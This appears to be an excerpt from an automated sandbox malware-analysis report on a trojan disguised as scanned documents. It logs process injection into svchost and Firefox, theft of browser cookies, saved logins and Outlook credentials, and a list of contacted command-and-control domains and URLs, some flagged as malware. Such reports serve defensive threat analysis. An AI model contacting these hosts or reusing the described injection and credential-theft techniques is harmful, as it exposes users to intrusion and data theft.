Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\schtasks.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\schtasks.exe

Thread register set: target process: 1508

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\schtasks.exe

Thread APC queued: target process: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 3135008

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

0_2_002E1201

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002C2BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_002C2BA5

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002EB226 SendInput,keybd_event,

0_2_002EB226

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_003022DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_003022DA

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe"	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

0_2_002E0B62

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002E1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_002E1663

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, MHFAGZiftf.exe, 00000003.00000000.1874031122.0000000001B31000.00000002.00000001.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000002.4111597033.0000000001B30000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: MHFAGZiftf.exe, 00000003.00000000.1874031122.0000000001B31000.00000002.00000001.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000002.4111597033.0000000001B30000.00000002.00000001.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000000.2021600411.0000000000CD1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: MHFAGZiftf.exe, 00000003.00000000.1874031122.0000000001B31000.00000002.00000001.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000002.4111597033.0000000001B30000.00000002.00000001.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000000.2021600411.0000000000CD1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: MHFAGZiftf.exe, 00000003.00000000.1874031122.0000000001B31000.00000002.00000001.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000002.4111597033.0000000001B30000.00000002.00000001.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000000.2021600411.0000000000CD1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002A0698 cpuid

0_2_002A0698

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002F8195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_002F8195

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002DD27A GetUserNameW,

0_2_002DD27A

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002BBB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_002BBB6F

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\schtasks.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: WIN_81
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: WIN_XP
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: WIN_XPe
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: WIN_VISTA
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: WIN_7
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_00301204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_00301204
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_00301806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00301806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Scanned Docs from Emnes Metal Sdn Bhd_.exe	71%	ReversingLabs	Win32.Trojan.Strictor
Scanned Docs from Emnes Metal Sdn Bhd_.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark	0%	URL Reputation	safe
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	0%	URL Reputation	safe
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	0%	URL Reputation	safe
https://track.uc.cn/collect	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://hm.baidu.com/hm.js?	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://www.synergon.space/8unq/?GTP=uhqpjxIPh&efM=RkvL3PdT4df/OPkNHI4HmdhQbyPIEJeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6mviVClJubTHF4ksIetQZZ+rgXL6Dldbwq0cw=	0%	Avira URL Cloud	safe
http://www.slushcafe.top/irn0/?efM=rkk12BbGqxBZ8yyVdqr4fumsqySnbS/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdycpy6GTweDeod91OQcupKfuQbLLwzDVUdZDA=&GTP=uhqpjxIPh	0%	Avira URL Cloud	safe
http://www.alanbeanart.com/7ie4/	0%	Avira URL Cloud	safe
http://www.lfghtko.lol/yxos/	0%	Avira URL Cloud	safe
http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq	0%	Avira URL Cloud	safe
http://www.mqmsqkw.lol/jda9/	0%	Avira URL Cloud	safe
http://www.zhuan-tou.com/pjmu/?efM=zh3d17Jww7lUdSTn18h3AW52xQeHiultGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GYgJ6QddEnX3CYXXMD+mGHjpcx+XzQAKiSmY=&GTP=uhqpjxIPh	0%	Avira URL Cloud	safe
http://www.lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc=	0%	Avira URL Cloud	safe
http://www.rtrpodcast.online/l2ei/	100%	Avira URL Cloud	malware
http://www.a9jcpf.top/mpex/?GTP=uhqpjxIPh&efM=Zb/vXsPYNAfjWKU5b+Nt30TyxsxOl11zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3DCw+G1Vpb7KEKzC8l577KkftecMR999sDYI=	0%	Avira URL Cloud	safe
http://www.lfghtko.lol	0%	Avira URL Cloud	safe
http://www.lecoinsa.net/7ffx/	0%	Avira URL Cloud	safe
http://www.alanbeanart.com/7ie4/?efM=dUG4+DDdp/sjDloXxs11bKdjpfE9KTK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLz246S+DRLpxSbmoiTCF0OJgE4T3/Jv+1c2k=&GTP=uhqpjxIPh	0%	Avira URL Cloud	safe
https://dhosting.pl/bledyhttp/domeny.html	0%	Avira URL Cloud	safe
https://dhosting.pl/img/logo.svg	0%	Avira URL Cloud	safe
http://www.8xbe578.app/1nsp/?efM=6szqGuj1zCBS7eEVX649iJVBUL/fWzE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080Ir9qaLZUnG7yNOEpMTkzRXgFx77GcbRli0I=&GTP=uhqpjxIPh	0%	Avira URL Cloud	safe
http://www.slushcafe.top/irn0/	0%	Avira URL Cloud	safe
http://www.kacotae.com/rdfm/?GTP=uhqpjxIPh&efM=wrkGspiQ383g8BvQawprffb7FcgpmXJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvZFoLMOaF6UBG/sMUSe6LmxyUxmV5i7nd1eA=	0%	Avira URL Cloud	safe
http://www.zhuan-tou.com/pjmu/	0%	Avira URL Cloud	safe
http://www.tqfabxah.com/zjwj/	100%	Avira URL Cloud	malware
https://dhosting.pl/kontakt	0%	Avira URL Cloud	safe
http://www.a9jcpf.top/mpex/	0%	Avira URL Cloud	safe
https://dhosting.pl	0%	Avira URL Cloud	safe
https://dhosting.pl/bledyhttp/hosting.html	0%	Avira URL Cloud	safe
http://www.stemfiniti.com/toda/?GTP=uhqpjxIPh&efM=obOL9JCgNxwS4++cuMdB8oKy9gH02j2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPeZjD4+ekebMUnDMBnOUVwsozzcXjkZdwt+Kw=	0%	Avira URL Cloud	safe
http://www.kacotae.com/rdfm/	0%	Avira URL Cloud	safe
http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq	0%	Avira URL Cloud	safe
http://www.8xbe578.app/1nsp/	0%	Avira URL Cloud	safe
http://www.lfghtko.lol/yxos/?efM=GsI4mtIQVr1bqd+V/1qEiGWG2JWSdng8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR32o8KijRXgfnfSTbVFHsQqIz2A3ZpJ0HUFH4=&GTP=uhqpjxIPh	0%	Avira URL Cloud	safe
http://www.synergon.space/8unq/	0%	Avira URL Cloud	safe
http://www.mqmsqkw.lol/jda9/?GTP=uhqpjxIPh&efM=34snQIO0a+qzYlkt+6IEft1gxD/ZK6L7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZbdqmuEYhDCzj/N3rZv+VTG2UiN/ilnh8230=	0%	Avira URL Cloud	safe
http://www.tqfabxah.com/zjwj/?efM=nHLCZn8vN2ArVDTtuX5SJ0P/P5D3rwrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZBj+QLQEglA9+lHyHnT+4OAarv/Cw0xbxNAM=&GTP=uhqpjxIPh	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
kmdne.ajunsdfancsda.com	216.83.33.140	true	false	unknown
stemfiniti.com	3.33.130.190	true	false	unknown
www.lfghtko.lol	116.213.43.190	true	false	unknown
8xbe578.app	3.33.130.190	true	false	unknown
alanbeanart.com	3.33.130.190	true	false	unknown
www.mqmsqkw.lol	116.213.43.190	true	false	unknown
www.zhuan-tou.com	38.12.1.29	true	false	unknown
rtrpodcast.online	76.223.67.189	true	false	unknown
www.tqfabxah.com	35.241.42.217	true	false	unknown
www.lecoinsa.net	217.116.0.191	true	false	unknown
synergon.space	109.95.158.127	true	false	unknown
www.slushcafe.top	203.161.55.102	true	false	unknown
www.kacotae.com	64.226.69.42	true	false	unknown
www.alanbeanart.com	unknown	unknown	true	unknown
www.stemfiniti.com	unknown	unknown	true	unknown
www.a9jcpf.top	unknown	unknown	true	unknown
www.winkthree.com	unknown	unknown	true	unknown
www.rtrpodcast.online	unknown	unknown	true	unknown
www.synergon.space	unknown	unknown	true	unknown
www.8xbe578.app	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.synergon.space/8unq/?GTP=uhqpjxIPh&efM=RkvL3PdT4df/OPkNHI4HmdhQbyPIEJeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6mviVClJubTHF4ksIetQZZ+rgXL6Dldbwq0cw=	false	Avira URL Cloud: safe	unknown
http://www.slushcafe.top/irn0/?efM=rkk12BbGqxBZ8yyVdqr4fumsqySnbS/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdycpy6GTweDeod91OQcupKfuQbLLwzDVUdZDA=&GTP=uhqpjxIPh	false	Avira URL Cloud: safe	unknown
http://www.mqmsqkw.lol/jda9/	false	Avira URL Cloud: safe	unknown
http://www.zhuan-tou.com/pjmu/?efM=zh3d17Jww7lUdSTn18h3AW52xQeHiultGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GYgJ6QddEnX3CYXXMD+mGHjpcx+XzQAKiSmY=&GTP=uhqpjxIPh	false	Avira URL Cloud: safe	unknown
http://www.alanbeanart.com/7ie4/	false	Avira URL Cloud: safe	unknown
http://www.lfghtko.lol/yxos/	false	Avira URL Cloud: safe	unknown
http://www.a9jcpf.top/mpex/?GTP=uhqpjxIPh&efM=Zb/vXsPYNAfjWKU5b+Nt30TyxsxOl11zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3DCw+G1Vpb7KEKzC8l577KkftecMR999sDYI=	false	Avira URL Cloud: safe	unknown
http://www.rtrpodcast.online/l2ei/	false	Avira URL Cloud: malware	unknown
http://www.lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc=	false	Avira URL Cloud: safe	unknown
http://www.lecoinsa.net/7ffx/	false	Avira URL Cloud: safe	unknown
http://www.8xbe578.app/1nsp/?efM=6szqGuj1zCBS7eEVX649iJVBUL/fWzE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080Ir9qaLZUnG7yNOEpMTkzRXgFx77GcbRli0I=&GTP=uhqpjxIPh	false	Avira URL Cloud: safe	unknown
http://www.alanbeanart.com/7ie4/?efM=dUG4+DDdp/sjDloXxs11bKdjpfE9KTK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLz246S+DRLpxSbmoiTCF0OJgE4T3/Jv+1c2k=&GTP=uhqpjxIPh	false	Avira URL Cloud: safe	unknown
http://www.slushcafe.top/irn0/	false	Avira URL Cloud: safe	unknown
http://www.kacotae.com/rdfm/?GTP=uhqpjxIPh&efM=wrkGspiQ383g8BvQawprffb7FcgpmXJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvZFoLMOaF6UBG/sMUSe6LmxyUxmV5i7nd1eA=	false	Avira URL Cloud: safe	unknown
